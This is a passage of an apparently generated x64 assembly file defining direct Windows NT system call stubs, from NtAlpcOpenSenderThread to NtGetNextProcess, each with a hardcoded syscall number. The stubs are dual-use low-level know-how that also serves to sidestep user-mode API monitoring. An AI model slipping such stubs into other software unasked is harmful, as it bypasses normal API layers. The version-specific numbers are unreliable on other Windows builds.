PROC STDCALL mov r10 , rcx mov eax , 132 ;syscall db 0Fh , 05h ret NtAlpcOpenSenderThread ENDP ; ULONG64 __stdcall NtAlpcQueryInformation( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtAlpcQueryInformation PROC STDCALL mov r10 , rcx mov eax , 133 ;syscall db 0Fh , 05h ret NtAlpcQueryInformation ENDP ; ULONG64 __stdcall NtAlpcQueryInformationMessage( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); NtAlpcQueryInformationMessage PROC STDCALL mov r10 , rcx mov eax , 134 ;syscall db 0Fh , 05h ret NtAlpcQueryInformationMessage ENDP ; ULONG64 __stdcall NtAlpcRevokeSecurityContext( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtAlpcRevokeSecurityContext PROC STDCALL mov r10 , rcx mov eax , 135 ;syscall db 0Fh , 05h ret NtAlpcRevokeSecurityContext ENDP ; ULONG64 __stdcall NtAlpcSendWaitReceivePort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 ); NtAlpcSendWaitReceivePort PROC STDCALL mov r10 , rcx mov eax , 136 ;syscall db 0Fh , 05h ret NtAlpcSendWaitReceivePort ENDP ; ULONG64 __stdcall NtAlpcSetInformation( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtAlpcSetInformation PROC STDCALL mov r10 , rcx mov eax , 137 ;syscall db 0Fh , 05h ret NtAlpcSetInformation ENDP ; ULONG64 __stdcall NtAreMappedFilesTheSame( ULONG64 arg_01 , ULONG64 arg_02 ); NtAreMappedFilesTheSame PROC STDCALL mov r10 , rcx mov eax , 138 ;syscall db 0Fh , 05h ret NtAreMappedFilesTheSame ENDP ; ULONG64 __stdcall NtAssignProcessToJobObject( ULONG64 arg_01 , ULONG64 arg_02 ); NtAssignProcessToJobObject PROC STDCALL mov r10 , rcx mov eax , 139 ;syscall db 0Fh , 05h ret NtAssignProcessToJobObject ENDP ; ULONG64 __stdcall NtAssociateWaitCompletionPacket( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 ); NtAssociateWaitCompletionPacket PROC STDCALL mov r10 , rcx mov eax , 140 ;syscall db 0Fh , 05h ret NtAssociateWaitCompletionPacket ENDP ; ULONG64 __stdcall NtCancelIoFileEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtCancelIoFileEx PROC STDCALL mov r10 , rcx mov eax , 141 ;syscall db 0Fh , 05h ret NtCancelIoFileEx ENDP ; ULONG64 __stdcall NtCancelSynchronousIoFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtCancelSynchronousIoFile PROC STDCALL mov r10 , rcx mov eax , 142 ;syscall db 0Fh , 05h ret NtCancelSynchronousIoFile ENDP ; ULONG64 __stdcall NtCancelTimer2( ULONG64 arg_01 , ULONG64 arg_02 ); NtCancelTimer2 PROC STDCALL mov r10 , rcx mov eax , 143 ;syscall db 0Fh , 05h ret NtCancelTimer2 ENDP ; ULONG64 __stdcall NtCancelWaitCompletionPacket( ULONG64 arg_01 , ULONG64 arg_02 ); NtCancelWaitCompletionPacket PROC STDCALL mov r10 , rcx mov eax , 144 ;syscall db 0Fh , 05h ret NtCancelWaitCompletionPacket ENDP ; ULONG64 __stdcall NtCommitComplete( ULONG64 arg_01 , ULONG64 arg_02 ); NtCommitComplete PROC STDCALL mov r10 , rcx mov eax , 145 ;syscall db 0Fh , 05h ret NtCommitComplete ENDP ; ULONG64 __stdcall NtCommitEnlistment( ULONG64 arg_01 , ULONG64 arg_02 ); NtCommitEnlistment PROC STDCALL mov r10 , rcx mov eax , 146 ;syscall db 0Fh , 05h ret NtCommitEnlistment ENDP ; ULONG64 __stdcall NtCommitRegistryTransaction( ULONG64 arg_01 , ULONG64 arg_02 ); NtCommitRegistryTransaction PROC STDCALL mov r10 , rcx mov eax , 147 ;syscall db 0Fh , 05h ret NtCommitRegistryTransaction ENDP ; ULONG64 __stdcall NtCommitTransaction( ULONG64 arg_01 , ULONG64 arg_02 ); NtCommitTransaction PROC STDCALL mov r10 , rcx mov eax , 148 ;syscall db 0Fh , 05h ret NtCommitTransaction ENDP ; ULONG64 __stdcall NtCompactKeys( ULONG64 arg_01 , ULONG64 arg_02 ); NtCompactKeys PROC STDCALL mov r10 , rcx mov eax , 149 ;syscall db 0Fh , 05h ret NtCompactKeys ENDP ; ULONG64 __stdcall NtCompareObjects( ULONG64 arg_01 , ULONG64 arg_02 ); NtCompareObjects PROC STDCALL mov r10 , rcx mov eax , 150 ;syscall db 0Fh , 05h ret NtCompareObjects ENDP ; ULONG64 __stdcall NtCompareTokens( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtCompareTokens PROC STDCALL mov r10 , rcx mov eax , 151 ;syscall db 0Fh , 05h ret NtCompareTokens ENDP ; ULONG64 __stdcall NtCompleteConnectPort( ULONG64 arg_01 ); NtCompleteConnectPort PROC STDCALL mov r10 , rcx mov eax , 152 ;syscall db 0Fh , 05h ret NtCompleteConnectPort ENDP ; ULONG64 __stdcall NtCompressKey( ULONG64 arg_01 ); NtCompressKey PROC STDCALL mov r10 , rcx mov eax , 153 ;syscall db 0Fh , 05h ret NtCompressKey ENDP ; ULONG64 __stdcall NtConnectPort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 ); NtConnectPort PROC STDCALL mov r10 , rcx mov eax , 154 ;syscall db 0Fh , 05h ret NtConnectPort ENDP ; ULONG64 __stdcall NtCreateDebugObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtCreateDebugObject PROC STDCALL mov r10 , rcx mov eax , 155 ;syscall db 0Fh , 05h ret NtCreateDebugObject ENDP ; ULONG64 __stdcall NtCreateDirectoryObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtCreateDirectoryObject PROC STDCALL mov r10 , rcx mov eax , 156 ;syscall db 0Fh , 05h ret NtCreateDirectoryObject ENDP ; ULONG64 __stdcall NtCreateDirectoryObjectEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtCreateDirectoryObjectEx PROC STDCALL mov r10 , rcx mov eax , 157 ;syscall db 0Fh , 05h ret NtCreateDirectoryObjectEx ENDP ; ULONG64 __stdcall NtCreateEnclave( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 ); NtCreateEnclave PROC STDCALL mov r10 , rcx mov eax , 158 ;syscall db 0Fh , 05h ret NtCreateEnclave ENDP ; ULONG64 __stdcall NtCreateEnlistment( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 ); NtCreateEnlistment PROC STDCALL mov r10 , rcx mov eax , 159 ;syscall db 0Fh , 05h ret NtCreateEnlistment ENDP ; ULONG64 __stdcall NtCreateEventPair( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtCreateEventPair PROC STDCALL mov r10 , rcx mov eax , 160 ;syscall db 0Fh , 05h ret NtCreateEventPair ENDP ; ULONG64 __stdcall NtCreateIRTimer( ULONG64 arg_01 , ULONG64 arg_02 ); NtCreateIRTimer PROC STDCALL mov r10 , rcx mov eax , 161 ;syscall db 0Fh , 05h ret NtCreateIRTimer ENDP ; ULONG64 __stdcall NtCreateIoCompletion( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtCreateIoCompletion PROC STDCALL mov r10 , rcx mov eax , 162 ;syscall db 0Fh , 05h ret NtCreateIoCompletion ENDP ; ULONG64 __stdcall NtCreateJobObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtCreateJobObject PROC STDCALL mov r10 , rcx mov eax , 163 ;syscall db 0Fh , 05h ret NtCreateJobObject ENDP ; ULONG64 __stdcall NtCreateJobSet( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtCreateJobSet PROC STDCALL mov r10 , rcx mov eax , 164 ;syscall db 0Fh , 05h ret NtCreateJobSet ENDP ; ULONG64 __stdcall NtCreateKeyTransacted( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 ); NtCreateKeyTransacted PROC STDCALL mov r10 , rcx mov eax , 165 ;syscall db 0Fh , 05h ret NtCreateKeyTransacted ENDP ; ULONG64 __stdcall NtCreateKeyedEvent( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtCreateKeyedEvent PROC STDCALL mov r10 , rcx mov eax , 166 ;syscall db 0Fh , 05h ret NtCreateKeyedEvent ENDP ; ULONG64 __stdcall NtCreateLowBoxToken( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 ); NtCreateLowBoxToken PROC STDCALL mov r10 , rcx mov eax , 167 ;syscall db 0Fh , 05h ret NtCreateLowBoxToken ENDP ; ULONG64 __stdcall NtCreateMailslotFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 ); NtCreateMailslotFile PROC STDCALL mov r10 , rcx mov eax , 168 ;syscall db 0Fh , 05h ret NtCreateMailslotFile ENDP ; ULONG64 __stdcall NtCreateMutant( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtCreateMutant PROC STDCALL mov r10 , rcx mov eax , 169 ;syscall db 0Fh , 05h ret NtCreateMutant ENDP ; ULONG64 __stdcall NtCreateNamedPipeFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 , ULONG64 arg_13 , ULONG64 arg_14 ); NtCreateNamedPipeFile PROC STDCALL mov r10 , rcx mov eax , 170 ;syscall db 0Fh , 05h ret NtCreateNamedPipeFile ENDP ; ULONG64 __stdcall NtCreatePagingFile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtCreatePagingFile PROC STDCALL mov r10 , rcx mov eax , 171 ;syscall db 0Fh , 05h ret NtCreatePagingFile ENDP ; ULONG64 __stdcall NtCreatePartition( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtCreatePartition PROC STDCALL mov r10 , rcx mov eax , 172 ;syscall db 0Fh , 05h ret NtCreatePartition ENDP ; ULONG64 __stdcall NtCreatePort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtCreatePort PROC STDCALL mov r10 , rcx mov eax , 173 ;syscall db 0Fh , 05h ret NtCreatePort ENDP ; ULONG64 __stdcall NtCreatePrivateNamespace( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtCreatePrivateNamespace PROC STDCALL mov r10 , rcx mov eax , 174 ;syscall db 0Fh , 05h ret NtCreatePrivateNamespace ENDP ; ULONG64 __stdcall NtCreateProcess( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 ); NtCreateProcess PROC STDCALL mov r10 , rcx mov eax , 175 ;syscall db 0Fh , 05h ret NtCreateProcess ENDP ; ULONG64 __stdcall NtCreateProfile( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 ); NtCreateProfile PROC STDCALL mov r10 , rcx mov eax , 176 ;syscall db 0Fh , 05h ret NtCreateProfile ENDP ; ULONG64 __stdcall NtCreateProfileEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 ); NtCreateProfileEx PROC STDCALL mov r10 , rcx mov eax , 177 ;syscall db 0Fh , 05h ret NtCreateProfileEx ENDP ; ULONG64 __stdcall NtCreateRegistryTransaction( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtCreateRegistryTransaction PROC STDCALL mov r10 , rcx mov eax , 178 ;syscall db 0Fh , 05h ret NtCreateRegistryTransaction ENDP ; ULONG64 __stdcall NtCreateResourceManager( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 ); NtCreateResourceManager PROC STDCALL mov r10 , rcx mov eax , 179 ;syscall db 0Fh , 05h ret NtCreateResourceManager ENDP ; ULONG64 __stdcall NtCreateSemaphore( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtCreateSemaphore PROC STDCALL mov r10 , rcx mov eax , 180 ;syscall db 0Fh , 05h ret NtCreateSemaphore ENDP ; ULONG64 __stdcall NtCreateSymbolicLinkObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtCreateSymbolicLinkObject PROC STDCALL mov r10 , rcx mov eax , 181 ;syscall db 0Fh , 05h ret NtCreateSymbolicLinkObject ENDP ; ULONG64 __stdcall NtCreateThreadEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 ); NtCreateThreadEx PROC STDCALL mov r10 , rcx mov eax , 182 ;syscall db 0Fh , 05h ret NtCreateThreadEx ENDP ; ULONG64 __stdcall NtCreateTimer( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtCreateTimer PROC STDCALL mov r10 , rcx mov eax , 183 ;syscall db 0Fh , 05h ret NtCreateTimer ENDP ; ULONG64 __stdcall NtCreateTimer2( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtCreateTimer2 PROC STDCALL mov r10 , rcx mov eax , 184 ;syscall db 0Fh , 05h ret NtCreateTimer2 ENDP ; ULONG64 __stdcall NtCreateToken( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 , ULONG64 arg_13 ); NtCreateToken PROC STDCALL mov r10 , rcx mov eax , 185 ;syscall db 0Fh , 05h ret NtCreateToken ENDP ; ULONG64 __stdcall NtCreateTokenEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 , ULONG64 arg_13 , ULONG64 arg_14 , ULONG64 arg_15 , ULONG64 arg_16 , ULONG64 arg_17 ); NtCreateTokenEx PROC STDCALL mov r10 , rcx mov eax , 186 ;syscall db 0Fh , 05h ret NtCreateTokenEx ENDP ; ULONG64 __stdcall NtCreateTransaction( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 ); NtCreateTransaction PROC STDCALL mov r10 , rcx mov eax , 187 ;syscall db 0Fh , 05h ret NtCreateTransaction ENDP ; ULONG64 __stdcall NtCreateTransactionManager( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); NtCreateTransactionManager PROC STDCALL mov r10 , rcx mov eax , 188 ;syscall db 0Fh , 05h ret NtCreateTransactionManager ENDP ; ULONG64 __stdcall NtCreateUserProcess( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 ); NtCreateUserProcess PROC STDCALL mov r10 , rcx mov eax , 189 ;syscall db 0Fh , 05h ret NtCreateUserProcess ENDP ; ULONG64 __stdcall NtCreateWaitCompletionPacket( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtCreateWaitCompletionPacket PROC STDCALL mov r10 , rcx mov eax , 190 ;syscall db 0Fh , 05h ret NtCreateWaitCompletionPacket ENDP ; ULONG64 __stdcall NtCreateWaitablePort( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtCreateWaitablePort PROC STDCALL mov r10 , rcx mov eax , 191 ;syscall db 0Fh , 05h ret NtCreateWaitablePort ENDP ; ULONG64 __stdcall NtCreateWnfStateName( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 ); NtCreateWnfStateName PROC STDCALL mov r10 , rcx mov eax , 192 ;syscall db 0Fh , 05h ret NtCreateWnfStateName ENDP ; ULONG64 __stdcall NtCreateWorkerFactory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 ); NtCreateWorkerFactory PROC STDCALL mov r10 , rcx mov eax , 193 ;syscall db 0Fh , 05h ret NtCreateWorkerFactory ENDP ; ULONG64 __stdcall NtDebugActiveProcess( ULONG64 arg_01 , ULONG64 arg_02 ); NtDebugActiveProcess PROC STDCALL mov r10 , rcx mov eax , 194 ;syscall db 0Fh , 05h ret NtDebugActiveProcess ENDP ; ULONG64 __stdcall NtDebugContinue( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtDebugContinue PROC STDCALL mov r10 , rcx mov eax , 195 ;syscall db 0Fh , 05h ret NtDebugContinue ENDP ; ULONG64 __stdcall NtDeleteAtom( ULONG64 arg_01 ); NtDeleteAtom PROC STDCALL mov r10 , rcx mov eax , 196 ;syscall db 0Fh , 05h ret NtDeleteAtom ENDP ; ULONG64 __stdcall NtDeleteBootEntry( ULONG64 arg_01 ); NtDeleteBootEntry PROC STDCALL mov r10 , rcx mov eax , 197 ;syscall db 0Fh , 05h ret NtDeleteBootEntry ENDP ; ULONG64 __stdcall NtDeleteDriverEntry( ULONG64 arg_01 ); NtDeleteDriverEntry PROC STDCALL mov r10 , rcx mov eax , 198 ;syscall db 0Fh , 05h ret NtDeleteDriverEntry ENDP ; ULONG64 __stdcall NtDeleteFile( ULONG64 arg_01 ); NtDeleteFile PROC STDCALL mov r10 , rcx mov eax , 199 ;syscall db 0Fh , 05h ret NtDeleteFile ENDP ; ULONG64 __stdcall NtDeleteKey( ULONG64 arg_01 ); NtDeleteKey PROC STDCALL mov r10 , rcx mov eax , 200 ;syscall db 0Fh , 05h ret NtDeleteKey ENDP ; ULONG64 __stdcall NtDeleteObjectAuditAlarm( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtDeleteObjectAuditAlarm PROC STDCALL mov r10 , rcx mov eax , 201 ;syscall db 0Fh , 05h ret NtDeleteObjectAuditAlarm ENDP ; ULONG64 __stdcall NtDeletePrivateNamespace( ULONG64 arg_01 ); NtDeletePrivateNamespace PROC STDCALL mov r10 , rcx mov eax , 202 ;syscall db 0Fh , 05h ret NtDeletePrivateNamespace ENDP ; ULONG64 __stdcall NtDeleteValueKey( ULONG64 arg_01 , ULONG64 arg_02 ); NtDeleteValueKey PROC STDCALL mov r10 , rcx mov eax , 203 ;syscall db 0Fh , 05h ret NtDeleteValueKey ENDP ; ULONG64 __stdcall NtDeleteWnfStateData( ULONG64 arg_01 , ULONG64 arg_02 ); NtDeleteWnfStateData PROC STDCALL mov r10 , rcx mov eax , 204 ;syscall db 0Fh , 05h ret NtDeleteWnfStateData ENDP ; ULONG64 __stdcall NtDeleteWnfStateName( ULONG64 arg_01 ); NtDeleteWnfStateName PROC STDCALL mov r10 , rcx mov eax , 205 ;syscall db 0Fh , 05h ret NtDeleteWnfStateName ENDP ; ULONG64 __stdcall NtDisableLastKnownGood( ); NtDisableLastKnownGood PROC STDCALL mov r10 , rcx mov eax , 206 ;syscall db 0Fh , 05h ret NtDisableLastKnownGood ENDP ; ULONG64 __stdcall NtDisplayString( ULONG64 arg_01 ); NtDisplayString PROC STDCALL mov r10 , rcx mov eax , 207 ;syscall db 0Fh , 05h ret NtDisplayString ENDP ; ULONG64 __stdcall NtDrawText( ULONG64 arg_01 ); NtDrawText PROC STDCALL mov r10 , rcx mov eax , 208 ;syscall db 0Fh , 05h ret NtDrawText ENDP ; ULONG64 __stdcall NtEnableLastKnownGood( ); NtEnableLastKnownGood PROC STDCALL mov r10 , rcx mov eax , 209 ;syscall db 0Fh , 05h ret NtEnableLastKnownGood ENDP ; ULONG64 __stdcall NtEnumerateBootEntries( ULONG64 arg_01 , ULONG64 arg_02 ); NtEnumerateBootEntries PROC STDCALL mov r10 , rcx mov eax , 210 ;syscall db 0Fh , 05h ret NtEnumerateBootEntries ENDP ; ULONG64 __stdcall NtEnumerateDriverEntries( ULONG64 arg_01 , ULONG64 arg_02 ); NtEnumerateDriverEntries PROC STDCALL mov r10 , rcx mov eax , 211 ;syscall db 0Fh , 05h ret NtEnumerateDriverEntries ENDP ; ULONG64 __stdcall NtEnumerateSystemEnvironmentValuesEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtEnumerateSystemEnvironmentValuesEx PROC STDCALL mov r10 , rcx mov eax , 212 ;syscall db 0Fh , 05h ret NtEnumerateSystemEnvironmentValuesEx ENDP ; ULONG64 __stdcall NtEnumerateTransactionObject( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtEnumerateTransactionObject PROC STDCALL mov r10 , rcx mov eax , 213 ;syscall db 0Fh , 05h ret NtEnumerateTransactionObject ENDP ; ULONG64 __stdcall NtExtendSection( ULONG64 arg_01 , ULONG64 arg_02 ); NtExtendSection PROC STDCALL mov r10 , rcx mov eax , 214 ;syscall db 0Fh , 05h ret NtExtendSection ENDP ; ULONG64 __stdcall NtFilterBootOption( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtFilterBootOption PROC STDCALL mov r10 , rcx mov eax , 215 ;syscall db 0Fh , 05h ret NtFilterBootOption ENDP ; ULONG64 __stdcall NtFilterToken( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); NtFilterToken PROC STDCALL mov r10 , rcx mov eax , 216 ;syscall db 0Fh , 05h ret NtFilterToken ENDP ; ULONG64 __stdcall NtFilterTokenEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 , ULONG64 arg_10 , ULONG64 arg_11 , ULONG64 arg_12 , ULONG64 arg_13 , ULONG64 arg_14 ); NtFilterTokenEx PROC STDCALL mov r10 , rcx mov eax , 217 ;syscall db 0Fh , 05h ret NtFilterTokenEx ENDP ; ULONG64 __stdcall NtFlushBuffersFileEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtFlushBuffersFileEx PROC STDCALL mov r10 , rcx mov eax , 218 ;syscall db 0Fh , 05h ret NtFlushBuffersFileEx ENDP ; ULONG64 __stdcall NtFlushInstallUILanguage( ULONG64 arg_01 , ULONG64 arg_02 ); NtFlushInstallUILanguage PROC STDCALL mov r10 , rcx mov eax , 219 ;syscall db 0Fh , 05h ret NtFlushInstallUILanguage ENDP ; ULONG64 __stdcall NtFlushInstructionCache( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtFlushInstructionCache PROC STDCALL mov r10 , rcx mov eax , 220 ;syscall db 0Fh , 05h ret NtFlushInstructionCache ENDP ; ULONG64 __stdcall NtFlushKey( ULONG64 arg_01 ); NtFlushKey PROC STDCALL mov r10 , rcx mov eax , 221 ;syscall db 0Fh , 05h ret NtFlushKey ENDP ; ULONG64 __stdcall NtFlushProcessWriteBuffers( ); NtFlushProcessWriteBuffers PROC STDCALL mov r10 , rcx mov eax , 222 ;syscall db 0Fh , 05h ret NtFlushProcessWriteBuffers ENDP ; ULONG64 __stdcall NtFlushVirtualMemory( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 ); NtFlushVirtualMemory PROC STDCALL mov r10 , rcx mov eax , 223 ;syscall db 0Fh , 05h ret NtFlushVirtualMemory ENDP ; ULONG64 __stdcall NtFlushWriteBuffer( ); NtFlushWriteBuffer PROC STDCALL mov r10 , rcx mov eax , 224 ;syscall db 0Fh , 05h ret NtFlushWriteBuffer ENDP ; ULONG64 __stdcall NtFreeUserPhysicalPages( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtFreeUserPhysicalPages PROC STDCALL mov r10 , rcx mov eax , 225 ;syscall db 0Fh , 05h ret NtFreeUserPhysicalPages ENDP ; ULONG64 __stdcall NtFreezeRegistry( ULONG64 arg_01 ); NtFreezeRegistry PROC STDCALL mov r10 , rcx mov eax , 226 ;syscall db 0Fh , 05h ret NtFreezeRegistry ENDP ; ULONG64 __stdcall NtFreezeTransactions( ULONG64 arg_01 , ULONG64 arg_02 ); NtFreezeTransactions PROC STDCALL mov r10 , rcx mov eax , 227 ;syscall db 0Fh , 05h ret NtFreezeTransactions ENDP ; ULONG64 __stdcall NtGetCachedSigningLevel( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); NtGetCachedSigningLevel PROC STDCALL mov r10 , rcx mov eax , 228 ;syscall db 0Fh , 05h ret NtGetCachedSigningLevel ENDP ; ULONG64 __stdcall NtGetCompleteWnfStateSubscription( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 ); NtGetCompleteWnfStateSubscription PROC STDCALL mov r10 , rcx mov eax , 229 ;syscall db 0Fh , 05h ret NtGetCompleteWnfStateSubscription ENDP ; ULONG64 __stdcall NtGetContextThread( ULONG64 arg_01 , ULONG64 arg_02 ); NtGetContextThread PROC STDCALL mov r10 , rcx mov eax , 230 ;syscall db 0Fh , 05h ret NtGetContextThread ENDP ; ULONG64 __stdcall NtGetCurrentProcessorNumber( ); NtGetCurrentProcessorNumber PROC STDCALL mov r10 , rcx mov eax , 231 ;syscall db 0Fh , 05h ret NtGetCurrentProcessorNumber ENDP ; ULONG64 __stdcall NtGetCurrentProcessorNumberEx( ULONG64 arg_01 ); NtGetCurrentProcessorNumberEx PROC STDCALL mov r10 , rcx mov eax , 232 ;syscall db 0Fh , 05h ret NtGetCurrentProcessorNumberEx ENDP ; ULONG64 __stdcall NtGetDevicePowerState( ULONG64 arg_01 , ULONG64 arg_02 ); NtGetDevicePowerState PROC STDCALL mov r10 , rcx mov eax , 233 ;syscall db 0Fh , 05h ret NtGetDevicePowerState ENDP ; ULONG64 __stdcall NtGetMUIRegistryInfo( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 ); NtGetMUIRegistryInfo PROC STDCALL mov r10 , rcx mov eax , 234 ;syscall db 0Fh , 05h ret NtGetMUIRegistryInfo ENDP ; ULONG64 __stdcall NtGetNextProcess( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 ); NtGetNextProcess PROC STDCALL mov r10 , rcx mov eax , 235 ;syscall db 0Fh , 05h ret NtGetNextProcess ENDP 